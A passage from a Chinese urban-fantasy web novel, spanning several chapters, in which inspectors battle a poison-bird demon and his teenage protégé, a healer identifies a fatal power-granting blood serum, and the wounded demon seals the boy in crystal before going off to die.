只见他站在玉一身前,居高临下地俯视着他,面色严肃,仿佛在看什么十分不赞同的东西:“他是你十四年前暴行的受害者,应该是你有愧于他、负罪于他,他为什么要害怕你?你对你的所作所为并无悔意,又有什么资格要求他来见你?” 他想了想,用了自己所知的分量最重的一个词:“你也未免太恬不知耻了。” 所有人:“……” 就连季凌云都被李默这惊人的用词震撼了,震惊地转眼看着他。 对一个连环杀人犯用“恬不知耻”这个词来审判——你认真的? 连玉一都将那僵硬木然的眼神转移到了他身上,仿佛在思考眼前这个妖类在说什么鬼话。 他的嘴唇稍微动了动,似乎是想反驳两句。然而停了半晌,也不知他是觉得没有必要还是不知该怎么表达,缓缓低下了头,目光中竟然划过了一丝失神。 他自言自语地道:“果然……再也见不到了。” 李默一皱眉:“什么?” “我一直记得他当初的那个眼神,本来以为他知道我活着,还有机会再见到一次。”玉一轻声道:“……还好,我早就找到比他还好的孩子了。” 他抬眼看着李默,眼神中却仿佛根本没有他的身影,喃喃道:“那孩子很好……比他好得多……我其实应该感谢他,带我找到了这么好的孩子。” 他道:“你们不该威胁到他的。” 他此话一出,季凌云和李默陡然心中一惊。下一秒,异变突生! 玉一猛地仰天长啸,身后骤然凝聚出一个巨大的虚影! 那是一只毒蜂模样的怪鸟,长喙尖利,双翼展开锋利如刀,尾部是一根巨大的紫黑色长刺,现身的一瞬间就骤然掀起一阵凛冽妖风! 那是妖力极限爆发时才会出现的钦原本相! 季凌云:“快退!” 妖类强制化形之后,本体就无法显现出来了,唯有在妖力催动到极限的时候,才会在背后凝聚出一道本体的虚影。妖力越强,凝聚出的虚影也就越凝实,这也是判断妖类强弱的最直观特征。 当初李默在新莲码头上解放妖力,背后也曾经出现过一个巨大的本体虚影,那情景简直震天撼地,令在场的所有人记忆犹新——而如今钦原释放出的妖身虚影虽然没有那么巨大,但一羽一爪竟然也已经清晰可见——他的妖力强度竟然已经十分逼近A级! 所有人都凭空感觉身体一沉,整个战圈的监察员同时被这妖力威压逼退,与此同时,钦原猛然张开了巨大尖锐的羽翼,仰天发出一声长唳! 刹那间狂风大作,空地上骤然弥漫开一片紫黑色雾气,刹那间包围了整片战场! 季凌云骇然一惊——那居然是玉一在之前的战斗中洒落的无数鲜血,此刻全部蒸腾起来,化作了无穷无尽的毒雾! 他将自己的妖力融入四处泼洒的血液中,将自己的身体变成了一个巨大的暗器! 宁可自己遍体鳞伤,也要拖着在场所有人同归于尽! 这是何等惨烈决绝的打法! 这一下连申彦雪也措手不及。她之前一直在辅助季凌云和李默战斗,一旦玉一爆发出毒雾,她就即刻以冰雾压制,三人配合不可谓不默契。可这次哪怕是她来不及控制——毒雾太过分散,范围也太大了! 然而就在此时,空地上突然大亮——一个巨大的符文出现地表之上。 战圈之中,所有监察员的身上同时闪过一道光芒,紧接着一道玉黄色屏障从脚下升起,骤然笼罩众人周身——李默脚步一顿,几乎转瞬之间就认出了,那正是周纬曾经在公路遇袭之时展现过的土属性能力,周山之印。 而与此同时,一个巨大的青璇符文在空地之上生成! 青璇之印一出,风属性灵力顿时涌动全场,所有的毒雾全都被卷了起来,在空气中央形成了一个巨大的毒雾气旋。所有的雾气被青色灵力裹挟,牢牢地封锁在了青璇之印的范围内。只见周纬双手灵力光芒涌动,紧接着手臂一抬—— 巨大的青璇之印升腾而起,卷着封锁在其中的紫黑毒气,豁然掠过屏障中的监察员众人,朝着高空之中升腾而去! 空地上的毒雾被清空了! 所有人心头一喜——然而还不待这份喜悦成型,场上局势再变! 所有人的行动都被周纬的周山之印制住,一时之间竟然都被定在了原地!而周纬原本处于战圈外围,此刻为了控制青璇之印现出身形,在所有人动弹不得的情况下,他居然直接暴露 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他手臂力量猛然爆发,在毫厘竟还能硬生生地扭转拳势,拳锋擦着冯坤的肩膀略过,冯坤的侧脸直接被这刚猛霸道的一拳擦出了一道长长的血痕,紧接着轰然一声巨响,空地上所有人的心脏似乎都在此时漏跳一拍——李默的拳风所过之处,前方骤然被犁出了一道十数米长的巨大的沟壑! 合抱粗的巨树轰然倒塌,烟尘四起! 玉一:“小坤!” 冯坤:“叔,我们走!” 重力再次突变!所有监察员刹那间都如同身陷泥沼不得自拔,玉一和冯坤的身体却骤然变得无比轻盈,玉一将冯坤一把揽进怀里,钦原虚影双翼一拍,两人冲天而起,扶摇直上! 刹那间就已经升入近百米高空! 然而就在此时,下方周纬仰头向天,望向了半空之中那两个相拥逃亡的影子。 他的眼瞳中一道鲜明的蓝紫色电芒划过,轻声道:“你不能走。” 下一秒,霆华之印光芒大放!万千雷霆化作森罗地狱,从天而降! 这一刻的雷霆森林宛若天罚,密布整片夜空!所有人都被这宛如灭世一般的雷霆地狱震骇,只见一道格外粗大的闪电银蛇般横贯长空,刹那照亮整片夜空,朝着玉一和冯坤当头劈来! 两人冲天直上,却不想雷霆天降,此时已经躲闪不及。在那万分之一秒间,玉一双臂骤然发力,将自己怀中的冯坤用力甩飞出去! 银芒纵贯长空,宛如利刃天降,当空贯穿了玉一的身体! 玉一浑身上下伤口齐齐崩裂,周身骤然爆发出一蓬浓重的血雾,身后钦原虚影无声地灰飞烟灭。 他浑身剧烈抽搐,整个人从半空中直坠下来。 冯坤:“叔!” 李默:“周队,够了!” 然而周纬充耳不闻。他双眸之中雷芒不熄,仰天伸出右手,全身电光缭绕,夜空中雷云回应召唤再次翻滚汇聚,银蛇奔涌。 半空之中,冯坤一声凄厉大喊,飞扑上来抱住了玉一坠落的身体。 眼看着两人就要同时湮灭在那毁天灭地的雷霆之下—— 忽然,周纬眼前落下了一片阴影。 李默的身影出现在他眼前。 他伸出双手,穿过周纬周身无数道雷霆电网,仿佛一只穿越棘刺从的荆棘鸟,朝着那根注定会贯穿自己心脏的尖刺,温柔坚定、一往无前地——张开了臂膀。 他抱住了周纬。 周纬眼中的雷芒骤然溃散。 他浑身骤然一僵,一瞬的空白之后,瞬间涌上了无法言说的恐惧:“李默!不要!” 然而霆华之印已是箭在弦上,下一秒轰然暴打,暴虐的雷霆之力刹那间贯穿了李默的身躯! 与此同时,在肆虐的电闪雷鸣中,周纬的耳畔响起了一个无比清晰的、温柔的声音。 “周队,到此为止吧。” “已经……没事了……” 47.血清 周纬感觉自己像是沉溺在了一片幻海里,身边的每一滴水都是一个错乱的梦境,有时是他少年时跟阿洺在一起玩闹,有时是空旷山间无尽翻滚的暴雨雷云,有时又是李默充满悲戚的眼神。 钦原的声音时不时回响在他的幻境里:“……你终于,放弃报仇了么?” 这声音就像一口洪荒巨钟,一声震响,轰开了他混沌昏沉的意识,周纬只觉得自己全身骤然烧灼一般的剧痛,一个激灵醒了过来。 然而他刚一睁眼,眼前的事物还没来得及看个分明,就突然觉得自己胸口一阵抑制不住的激痛,身子一挺,蓦然偏头吐出一口血来。 李默正抱着他的头跪坐在地,他这一口血呕出,顿时把李默的袖子染得一片鲜红,李默大惊道:“周队!” 紧接着,他听到一个声音怒斥:“鬼叫什么!淤血吐出来就好了,你没看他都醒了吗?” “咳、咳咳……”周纬一阵激烈呛咳,眼前一块一块的亮白光斑闪过,只能看到一个模糊的人形轮廓,顶着一头白到发光的长发,跟个白炽灯泡似的:“……白、白泽?” “怎么叫我的名字跟见鬼似的?”白泽望天翻了个白眼,不耐烦地对李默道道:“你把他抱稳当点,我要收针了。” 他一边取下那些扎在周纬胸腹间的银针,一边絮絮叨叨地道:“我的诊费可是很贵的,这次算上门出诊,诊金翻倍。看在咱们俩的交情上可以给你打个八五折,不能再讲价了啊,再讲翻脸。对了,你们局里包不包来回车马?我来的时候打了个车,小票要吗?” 周纬:“……” 他刚从昏迷中醒来,当头就被砸了一堆“诊金”和“车马费”,刹那间理解了那些医闹事件是怎么来的,要不是此刻浑身无力,委实很想一拳砸飞他那只单片眼镜。 “劳先生费心了。”李默抬起头来,彬彬有礼地道:“这次多亏先生妙手回春,还得劳烦您查看一下我们其他队员,不少人都被钦原毒波及,不知有无大碍。” 白泽这人心高气傲,最爱听人捧臭脚,听了这番恭维话之后顿时心花怒放,倨傲点头道:“行,我去看看那帮废物死了没有。” 说罢,施施然地背着手走了。 周纬耳边这才清静下来,长舒一口气。 李默低头看着他。 那一口血吐出之后,周纬胸口的疼痛瘀滞之感果然减轻了很多,眼前的亮白色光斑也开始慢慢散去,他逐渐看清了面前李默焦急忧虑的神色。 他按着胸口,闷闷地喘了两声,偏头吐掉了嘴里的一点残血:“是谁叫白泽来的?” 李默:“是我。” 他看了看周纬的表情,又解释道:“不仅仅是为了你。就像我刚才说的那样,钦原毒不可小觑,我怕有的队员在战斗中不慎接触毒雾,留下什么隐患,这才请白泽先生来为大家诊治,以防万一。” “白泽先生?”周纬低声重复了一句:“你什么时候这么尊敬他了?” 李默一愣,霎时间意识到自己说漏嘴了,顿时手足无措起来:“我……” 然而周纬没有再听他辩解,面无表情地抬起头来,望向前方。 他竟然昏迷了一整夜,此时天光已然大亮。 他们正处在空地边缘的位置,面前就是昨夜坑坑洼洼、狼藉一片的战场,许多监察员都躺在这里,毫无形象地哎呦哎呦满地呻吟。昨夜大战,钦原毒雾爆发之时,所有监察员都被周纬以周山之印护住,应该是没有接触到毒雾的。然而跟一只带毒的妖类战斗了这么久,谁也不敢大意地说自己就丝毫没有中招,李默叫白泽来给队员们疗伤诊治,思虑可算周详了。 只是白泽这人医术虽然还算靠谱,性格却着实恶劣,地上躺着嗷嗷叫的那些监察员们大部分不是中毒,而是被他用银针扎的。这人也不知道从哪里弄来的一口大锅,架在了空地中央,正指挥着重明在一旁呼呼扇火,看起来像是要把整个行动一组一锅煮了。 李默轻轻地扶起周纬,让他倚坐在一棵大树下,眸光温和地看着他。 “你的伤势不重,”他宽慰道:“白泽先……白泽说你主要是因为心情激荡、血冲肺腑才导致昏迷的,缓过来就好了。” 周纬不理他,低声道:“钦原呢?” 李默:“……逃走了。” 玉一和冯坤两人都有飞行能力,周纬昏迷之后雷云溃散,监察员们失去了拦截他们的手段,只能眼睁睁地看着他们飞行遁走。 “不过你放心,季组长他们已经在继续追查了。”李默怕周纬担心,又赶紧补充道:“那只钦原受伤颇重,逃不远的,应该很快就能找到他们。” 周纬不置可否地“嗯”了一声。 他面色仍然有些苍白,嘴角还带着淡淡血痕,脸上也看不出有什么喜怒。李默担心自己说错话,又不知他现在脑子里在想什么,只好试探着问了一声:“周队,你还好吗?” 周纬这才把黑漆漆的眼睛转向了他。 他的脸上看不出任何表情,眼神简直像是成了一块石头,不见丝毫悲喜。然而李默却被他这眼神盯得心里一阵阵发紧,莫名有些心虚。 就听周纬开口,低声道:“过来。” 李默赶紧乖乖靠了过去。 周纬抬手,撩开了他的大衣衣襟,冰冷的手掌覆上了李默坚实有力的胸膛,道:“什么感觉?” 李默一愣:“啊?” “我是说,”周纬的声音平板无波,面无表情地问道:“雷霆贯体,什么感觉?” 李默:“……” 昨夜大战最后,周纬灵力爆发,霆华之印召来滚滚天雷,不留一丝余力地劈在了玉一身上。当时周纬的情绪已经完全失控了,如果不是李默阻挡,那第二记雷霆毫无疑问会要了玉一的命。 可是玉一是不能死的,他身上担着太多的干系,还有太多谜团未能查清。甚至周纬自己也知道这一点……所以才有了他临出发前的那一句嘱托。 所以千钧一发之际,李默阻止了周纬,截下了即将爆发的雷霆一击。 可周纬万万没想到,李默会用自己的身体来挡。 雷属性是对妖类克制最强的灵力属性,哪怕不是以肉身硬接天雷,被蓄势到极点的霆华之印穿体而过,又怎么会好受呢? 周纬简直不敢想象那种感觉。 哪怕只是回想起昨夜最后的那个画面,周纬都感觉自己的心肺刀割一般的疼痛,像是被一只大手狠狠揪起,五脏六腑都揉成了一团糟烂的血泥。 可偏偏他那一击爆发,之后便昏了过去,以至于他甚至都无法知道李默承受了那雷霆一击之后,伤成了什么样子。 他知道李默也不会说。 那人是习惯了瞒苦藏伤的……初见的第一天,在那条盘山公路上,李默以肉身硬撼夔皮鼓,右手五指皮开肉绽,不也始终假装若无其事么? 他有再多的血也只会往肚子里咽,别人能见到的始终只有他那副温和宽慰的笑脸。 周纬心疼得发颤,连指尖都忍不住颤抖起来。 然而就在此时,李默却忽然抬手,将周纬颤抖的手压在了自己的心口上。 “我没事,周队。”他诚恳道:“我并不是在逞强。” 他望着周纬的眼神十分恳切正直,压着周纬的手掌分外用力,仿佛想让周纬隔着胸膛感受自己依然强劲有力的心跳:“只要不是真正的天劫雷罚,只是雷属性灵力的一击的话,我还是可以承受的。而且我能感觉到,你当时竭力收敛了霆华之印的攻击威势,所以我并没有受什么伤,一夜时间足以恢复了。” “毕竟……”说到这里,他突然顿了一下,看了一眼周纬的表情,踌躇半晌,终于还是一咬牙,把在舌尖上转了几百遍的那句话说了出来:“毕竟我是个A级妖类,还是挺……挺强的。” 说罢,他自己先咬紧了后槽牙,目光闪烁,不由自主地羞惭地低下了头。仿佛这句大言不惭的自夸之语已经耗尽了他这辈子的羞耻心。 周纬简直哭笑不得。 一方面,他还在为自己昨晚误伤李默而心疼自责;另一方面,他又难以自抑地觉得只因为一句自夸之语就惭愧不已的李默真的太可爱了,这么可爱的物种到底是怎么在这个世界上诞生出来的? 可见天地造化,果真神奇。 李默的羞赧多少冲淡了两人之间沉重的氛围。周纬眼中的笑意转瞬即逝,随即便重新板起脸来,道:“以后不许再这么做。” 李默连忙点头,点完头之后又觉得份量不足,于是又举起一只手来,道:“好,我以后绝不……” “谁要你起誓了?”周纬一把将他立起的手指压了下来,微愠道:“你自己好好记在心里不行吗?” 李默连连点头,脸上露出一个安抚和讨好的微笑。 周纬在心里叹了口气。他对着李默这张脸,真是什么脾气都发不出来,低头按着胸膛闷咳了几声,再一抬眼,就见到季凌云朝他们走来。 季凌云的脸色是前所未有的严肃。 “周队好些了吗?”这人其实只是客套一句,根本没想着听周纬的回答,单刀直入地就奔向了正题:“我想和你谈谈那个突然获得了灵力的少年冯坤的事。” 周纬的神色缓缓凝重起来。 * 十分钟后,众人都围坐到了同一棵树下。 “……就是这个东西。”季凌云手中的,正是洛小莉他们发现的那支打空了的注射器。他语气严肃道:“据那位名叫洛小莉的实习监察员所说,那个名叫冯坤的少年,就是注射了这样一支针剂之后,才突然获得了灵力的。” 众人的眼神都落在了那支细长的金属针管上。 一种……能让普通人瞬间获得灵力的药剂? 这简直太扯淡了。 或许是因为经过一夜大战,众人都有些疲惫;或许是因为自从追查这起案件以来,匪夷所思的事已经发生了太多。骤然听到这样一个消息,众人竟然都没有太多惊诧的反应,只是在心里异口同声地响起了一句——太扯淡了。 打一针就能让普通人变成灵力者?这是在搞什么?演电影吗? 要是真有这种东西,灵力者岂不是早就满大街都是了? 这是把灵力当成什么了,流感病毒吗?接触就可以传染的? 因为太过难以置信,大家反而都没有什么表示,只是紧盯着那支细长针管,一时间竟没有人说话。 “拿来我看。”就在这时,一个声音突然插了进来。 众人同时一愣——说话的竟然是白泽。 他不知什么什么时候走了过来,正站在季凌云身后,盯着他手中的那支注射器,眉头微皱,像是看见了什么脏东西。 然而季凌云并没有立刻就听他的话。 其实他会迟疑也无可厚非。白泽虽然在异监局“白名单”上,与总部也渊源颇深的样子,但他毕竟是个妖类,还是妖类中的巅峰S级。于情于理,季凌云都不可能将这种至关重要的证物直接交给他。 然而白泽 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这句话说得非常呛人,可以说是丝亳不留情面,却终于卡上了季凌云的行动逻辑,他果然依言将那支注射器递了过去。 然而白泽却还要作妖。只是这次还没等他发作,就听见周纬心平气和地道:“想继续住在你那处房子里,就别说废话。” 白泽:“……” 这天杀的房东! 白泽狠狠瞪了周纬一眼,七窍生烟地转身,咬着牙一屁股坐下,一把夺过了那支注射器。 众人:“……” 大家近距离围观了周纬是怎么在短时间内接连降服一人一妖两大神兽的,顿时对这位监察队长佩服得五体投地。 白泽把那支注射器拿在掌间,三下五除二就拆掉了金属外壳,露出里面的玻璃针筒来。针筒中还残留着一点儿红色的液体,白泽举到鼻子前闻了闻,紧接着立马鼻翼一皱,露出一副嫌弃的表情,将那支玻璃针筒一扔,嗤之以鼻道:“切,我还以为是什么呢,原来还是个失败品。” 所有人都是一愣。 周纬皱眉道:“你说什么?失败品?说仔细点。” “这有什么好仔细说的?”白泽往后一仰,双手撑地仰面朝天,摆出了一个不屑一顾的姿势,从鼻子里“哼”了一声道:“就是你们看到的这样喽,打一针这种血清,就能让普通人暂时获得灵力,这有什么不明白的?” 他这句话一说完,就有三个人同时发出了疑问。 季凌云问的是:“这种事真的能做到么?” 李默问的是:“暂时?” 而周纬问的是:“血清?” 白泽:“……” “一个一个来!”他勃然大怒道:“我有那么多张嘴吗?!” 说罢他首先转向了季凌云,毫不客气地怼道:“对,这种事就是能做到。你当你们最开始的灵力者是怎么来的,难不成是石头缝里蹦出来的吗?你们觉醒灵力之前不都是普通人吗?还真当自己跟普通人类是是两个物种了?” 紧接着他又转向李默,鄙视道:“废话,这玩意儿当然是暂时的。你们也说了那个小孩是打了这东西之后才拥有了灵力的不是吗?如果这玩意儿的作用是永久性的,那你们见到那小子时,他就应该已经是个灵力者了对不对?” 最后,他转向周纬,这回言简意赅了许多,只有一句话:“你闻不到这东西的血腥味儿吗?” 周纬:“……” 空地上一片死一般的寂静。 半晌,杨小钱终于哆嗦着,替所有人问出了那个心头的疑问:“所以……这玩意儿是、是用……” “当然是人血做的。”白泽鄙视地看了他一眼:“你是没上过生物课吗?” 杨小钱一噎,然而还没等他再说出什么话,周纬就突然一挥手,打断了他。 “你刚才说这东西是个‘失败品’……”周纬道:“这么说之前也有人尝试过制作这种东西?那他们成功了吗?为什么说现在这个是个失败品?这玩意儿使用了会有什么后果?” “你的问题太多了!”白泽又要炸毛,然而被周纬一瞪眼,气势又顿时怂了下来,只好憋气道:“好好好……我一个一个回答。首先,这玩意儿当然不是第一次出现,就像我刚才说的,你们最初的灵力者就是这么来的,只是方法要比这种粗糙原始得多。其次,就算是在近几百年,也有数不清人尝试过人工制造灵力者的方法,只不过大多数都去见阎王了……话说这简直就是废话,你当你们人类是什么很不贪心的种族吗?灵力者这种存在就跟一座金山没什么两样,谁见了不想过来挖两铲子?” 他说得众人哑口无言。 “最后,这玩意儿的失败不是一目了然吗?首先它根本达不到让人永久获得灵力的效果,其次它的原理简直简单粗暴,就是把外来的异种能量强行注入一个普通人体内……” 周纬直接打断了他的喋喋不休:“所以使用了这种失败品,到底会怎么样?” “你要硬把大象塞进冰箱里,冰箱会怎么样?”白泽嗤之以鼻道:“当然是会爆啊,蠢货!” “只要用了这玩意儿,不管用过几次,在针管扎下去的一瞬间,这人就注定只有一个下场——” “死定了!” * 与此同时,在珑湖市郊外的一座山上,一个隐秘的山洞里。 少年冯坤缓缓地睁开了眼睛。 48.死别 冯坤恢复意识之后,第一个感受是疼——全身上下都在疼,每一寸筋骨都在疼,像是被几十辆半挂排着队撞了一遍,又从一滩血泥里凑合着重新捏出了一个他来。 好在这种疼他已经逐渐习惯了。 到目前为止,他已经打过三次血清,第一次灵力消退的时候,这种钻心蚀骨的痛感差点没让他把脑袋撞碎。然而第二次就好多了,及至这第三次,他几乎在感受到□□疼痛的同时,意识就已经接上了线,龇牙咧嘴地想起了他们昨天晚上发生了什么事。 昨夜大战最后,他带着重伤的玉一遁空逃命,因为全无方向,只能孤注一掷地往岚山深处飞。不知飞了多久,他那“借来”的灵力到期了,而玉一还昏迷不醒。两人就这样骤然“坠机”,别无选择地一头撞进了山林里。 冯坤能做的最后一件事就是紧紧抱住怀里的玉一。 他依稀记得自己当初坠落的地方应该是一处密林……然而此时他分明已经不在林中了,像是在个山洞里…… 对了!玉一叔呢?! 冯坤心中骤然一惊,四肢百骸竟然凭空生出了一股力气,猛地翻身坐起,骇然朝四周望去。 他的眼瞳顿时一缩。 他们所在的这个山洞并不深,只有数米左右,外面天光已经大亮了,山洞内部被纤毫毕现地照了出来。 ……到处都是血。 地面,四壁,目之所及之处,全都是斑斑点点的血迹。最浓重的一道血色从洞外延伸而来,淋淋漓漓地洒了一路,一直蔓延到山洞深处,汇聚成了一个小小的血泊。 玉一就躺在那滩血泊里。 他衣袍破烂,双眸紧闭,花白的长发被鲜血黏得纠结成了一团糊在了脸上,侧身躺在自己的鲜血中,胸口几乎看不出任何起伏。 冯坤猛地扑了过去:“玉一叔!” 可他人扑了过去,竟一时不知该如何是好。玉一浑身上下都是伤口,像是被刀网从都到尾凌迟过一遍,动一动都要渗出血丝,冯坤想要推醒他都无处下手,两只手苍蝇腿似的在周身挥舞了一遍,到底没敢落下去,只好一叠声地叫唤:“玉一叔!你醒醒,玉一叔!” 不知他这番慌乱的努力是不是真的感动了上天,玉一的眼皮微微颤动了一下,竟然真的缓缓睁开了眼睛。 冯坤几乎立马就要喜极而泣:“玉一叔!” 然而他看清楚了玉一的眼神,还没来得及落下的眼泪顿时吓了回去,倒抽了一口凉气。 玉一双眸失焦,那双铁灰色的瞳孔在睁眼的瞬间几乎是散大的,他眼皮刚一抬起,就有两道细细的血流顺着眼角流了下来。 竟是直接七窍流血了! 冯坤几乎要被吓傻:“玉一叔!你怎么样?你听得到我说话吗?” 他这一声像是给玉一断联的神经接上了讯号,只见玉一的身体微微抽搐了一下,半涣散的瞳孔茫然地向着声音传过来的地方望了过去。 “……小坤?”玉一脱水干裂的嘴唇蠕动着,微不可察地吐出了两个音节。 紧接着,几乎是下意识的,他的嘴角颤动了几下,似乎是想露出一个笑容来。 他虚弱道:“……我没事。” 冯坤的心一半放了下去,一半高高地吊了起来——放下去是因为玉一还能跟他对话,看起来应该还有几分余力;悬起来是因为这怎么看也不像是“没事”的样子! 都这种时候了还在逞强! 玉一轻声道:“有水么?” 他失血过多,口唇干裂,嗓子沙哑得像是塞进了一把砂石。可是他们两人仓促出逃,什么东西都没带,上哪儿找水去?冯坤上下四周摸了一圈,没找到半点可以给玉一润润喉咙的东西,急得他额头冒汗,恨不得一口咬在自己手腕上,血溅三尺,给玉一解渴。 玉一看着他急得团团转,轻轻一笑:“没事,不用了……扶我起来。” 冯坤赶忙扶着他坐了起来,让他倚靠在岩壁上,自己跪在他身边,目光焦急、心疼又难过。 冯坤不是个傻子。昨晚那两个拦截他的监察员出现的时候,他就瞬间明白了过来——自己这是中计了。 异监局那伙人并不是没有怀疑过他,恰恰相反,他们早就盯上他了,只是苦于自己外表看上去是个普通人,他们没有证据……于是他们来了出欲擒故纵、引蛇出洞,故意放他们一家人离开。而他果然中计,掉以轻心之下,不仅暴露了自己,甚至还牵连了玉一叔。 想到自己前一晚还在跟玉一吵架,大言不惭地说什么异监局一帮废物绝对抓不到他……内疚和后悔快把冯坤的心烧穿了,他恨不得一头撞死在岩壁上。 到了此时,他的暴怒终于转换成了担忧、痛悔和恐惧,泪腺的反应慢了半拍,却加倍来势汹汹。冯坤跪在玉一身旁,声音里已经带了哭腔:“叔,对不起……” “别、别哭……”玉一下意识地想抬手,为少年擦去眼泪,然而因为重伤,只抬了两寸就颓然坠地。 他只好茫然无措地口头安慰:“别哭……小坤,别哭……” 印象之中,冯坤委实很少在他面前流泪。 他每次见冯坤,冯坤大多数时候都是笑着的,偶尔几次心情不好,也会很直白地跟他发怒。他见过冯坤开心兴奋的样子,见过冯坤踌躇满志的样子,也见过冯坤狂躁暴怒的样子……唯独没有见过他伤心哭泣的样子。 “是我做错了么?”玉一茫然地想:“……那我该怎么做呢?” 他想了想,突然开口道:“我好了。” 冯坤的抽噎声一滞。 他愣愣地抬起头来:“……啊?” “我……已经好了。”玉一直视着冯坤:“你看,已经不流血了。” 他眼神向下,示意冯坤去看自己胸口。那里有一道被季凌云的剑气划出来的伤口,足有半尺长,皮肉翻卷,煞是骇人。冯坤一眼看过去,眼睛几乎被那恐怖的伤口刺了一下,本能地偏了一下头,随即才咬了咬牙,逼着自己去看那道血肉模糊的剑伤。 然而仔细看了一下他才发现,那些看似吓人的伤口居然真的已经不再流血了,之前看着血迹斑斑吓人得很,实际上只是残留在衣服上的血迹。 “我是妖,”玉一认真地道:“好得……很快的。” 他仿佛真的在逐渐恢复,不仅伤口不再渗血,连说话也不再断断续续。从恢复意识到现在,就这么一会儿的功夫,他的状态似乎每分每秒都在好转,连声音都有力气多了。 冯坤凑上前去,仔细端详了一下玉一逐渐泛起血色的双唇,一颗心终于落回了肚子里。 他的语气里终于有了一丝活气儿,用袖子狠狠擦了擦眼睛,也顾不上抹得自己满脸鲜血,道:“叔,那我们接下来怎么办啊?” 家肯定是回不去了,他也不想回去;外面还有铺天盖地的监察员在搜捕他们。他们两个一个重伤,一个离了血清就是个手无缚鸡之力的普通人类少年,命运就跟被一根头发丝吊在悬崖边一样,委实是前路莫测、生死未卜。 然而奇怪的是,从知道玉一没事了的那一刻,冯坤那一口吊着的气就突如其来地松了出来,心里狠狠地踏实了下来。只要玉一还在,他就没有失去最宝贵的东西。只要玉一没事,一切就都没什么可怕的。 玉一道:“我想带你,去我们的组织。” 冯坤一愣:“什么?” “组织,你不想去么?”玉一望着他:“去了那里,你就能成为一个真正的杀手了。” 冯坤的眼中突然爆发出无比惊喜的神采,猛地扑了上来,一双眼睛睁得大大的:“真的?!” 玉一缓缓点了点头。 冯坤:“太好了!” 他几乎雀跃起来,脸上爆发出难以抑制的惊喜,一时间竟然坐不住,豁然起身,在山洞里转起圈来,双拳紧握:“对,我现在也是灵力者了……组织应该也会需要人类杀手的……话说成为杀手是不是还要接受训练什么的?很难么?我能通过么?成为杀手之后我还能跟你在一起么?你们是单独行动还是允许搭档执行任务?……对了,加入组织之后我是不是也需要一个代号什么的?我能自己取么……我不想让组织给我取代号,他们给你取的太难听了……” 他过于激动了,眼中的惊喜与期待简直要蹦出火花来,在山洞里一圈一圈地转,所以没有看见自己身后,玉一的表情。 玉一望着他的背影,半张脸都被血污覆盖,那双铁灰色的瞳孔流露出来的表情却无比复杂,像是欢喜,却又像是深深的痛苦和眷恋。那无声的眼神是如此深刻,像是想要隔空将少年兴奋雀跃的身影拓印到眼瞳里,永久地珍藏起来。 他柔声道:“小坤,你过来。” 正在激动的冯坤脚步一滞,赶紧跑过来,开心道:“叔。” 玉一掀开衣袍,挽起了自己的袖子,指着大臂上的一个符号道:“这是组织的标记,你看一看,记住它。” 冯坤听话地凑过来,认真端详起来,只见那是个奇形怪状的符文,形状像个古文字似的,歪七扭八的,仔细一看却又似乎不是。那符号像是被烙在玉一的胳膊上的,烫伤般的痕迹深深印在了皮肉里。 玉一:“记住了么?” 冯坤一连串地点头道:“记住了。” “好。”玉一道:“以后见到这个符号,一定要记得,避开它。” 冯坤一愣:“什么?” 然而还没等他反应过来,后颈就骤然一阵针扎般的刺痛。 玉一的右手不知何时搭放在了他的后颈上,指尖伸出了一根 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“异监局还在搜捕我们,他们不会放弃的……我要回去杀了他们,或许只杀一两个人就可以,把他们引开。这样你就安全了。” 冯坤的神经还没有完全被玉一的毒素封死,他的眼眶里重新蓄满了泪水,大滴大滴的眼泪从他的面颊上滚落下来。 可他还是说不出来话。 玉一擦去他的眼泪,哀伤地看着他:“小坤,别哭。” “我在你身上留下了一点我的毒素,会将你的身体逐渐封印起来,你的气息不会散发出去,异监局的人就无法找到你。” “放心……我死之后,你就会自然解封。还记得我们初次见面的那个地方么?我在那里给你留了一点东西,按照上面的指示做,你会没事的。” “那个血清不要再用了,我很担心那不是什么好东西……逃走以后就乖乖地躲起来,一直平平安安的,好不好?” “不……好……” 冯坤僵肿的舌根竟然发出了一声含混不清的声音:“……不……好……” 玉一的身体狠狠地一颤。 紫黑色的晶质体已经覆盖了冯坤的大半个身躯,蔓延到了他的胸口和颈侧。冯坤的眼睛犹然大睁着,他的面颊僵硬,已经做不出什么表情,可他的眼泪从清澈透明渐渐泛出了粉红色,最终透露出了明显的鲜红。 “叔……不要……死……”他的喉头拼着最后的力气上下蠕动着,发出了一声极度绝望的哀求:“叔……不要死……” 这个十五岁少年的血泪从面颊滑落,玉碎一样,砸在了玉一的手心里。 玉一的身体剧烈地抖动着。 他的声音难以自抑地颤抖着:“对不起,小坤……我已经……” 他心说:“我已经活不下来了。” 随着他身体的颤抖,一些紫黑色的、碎晶般的粉末从他的身上簌簌而落,像是散落了一层风化的外壳。 冯坤的目光追随着那些粉末,蓦然像是意识到了什么,眼睛骇然睁大了—— 他刚刚那个沉浸在玉一死里逃生的喜悦中,忽略了一个显而易见的事实。如果玉一的自愈能力还在,一晚上的时间,足够他的伤口恢复得七七八八,根本不会留到现在。 他现在还能看到玉一身上的伤口,就说明玉一的自愈能力已经失效了。 而刚刚之所以会暂时止血,是因为玉一动用了妖力。 他让自己紫黑毒晶在体内生长,从内部封住了伤口。 他把自己像一个破纸箱般强行黏合了起来,逼着自己所有的血都往体内流……为了让冯坤别哭。 如今甚至连这些紫晶都已经控制不住了……玉一身上的每一道伤口都在崩裂,血流加倍汹涌,冲开了紫黑毒晶的封锁,混着无数碎晶粉末,从他身上的每一个伤口处往外流。 这具身体已经失去了自救的能力,正在缓慢地走向崩溃和衰亡。 玉一的颤抖根本控制不住。他捂住自己的心口,能感觉到自己的妖核上已经布满裂纹。昨晚周纬那最后一击还是给他造成了致命的重创,他还能再活多久?两天?还是三天? 真短啊……怎么就又要跟这孩子再分开了呢? 这一次,还是自己先抛下了他。 他真的从没能做到这个孩子请求的任何事……没能经常陪伴他,没能给他带来灵力,没能教他成为一个真正的杀手…… 还有,没能活下来…… “对不起,小坤……”玉一深深地低下头,肩膀耸动,哽咽道:“对不起……” 可是冯坤已经听不见了。 紫黑色的晶质体蔓延而上,终于封住了他最后一丝眸光,连同少年脸上的血泪一起,凝固成了一尊晶莹的雕像。 片刻之后,山洞内终于传来了妖类压抑的恸哭。 49.不速 “周队?周队?醒醒,我们到了。” 周纬轻轻挣动了一下,茫然地从睡梦中被唤醒,刚要睁开眼睛,却忽然被灿烂的阳光刺了一下,下意识地一偏头—— 下一秒,一道阴影落在了他头上。 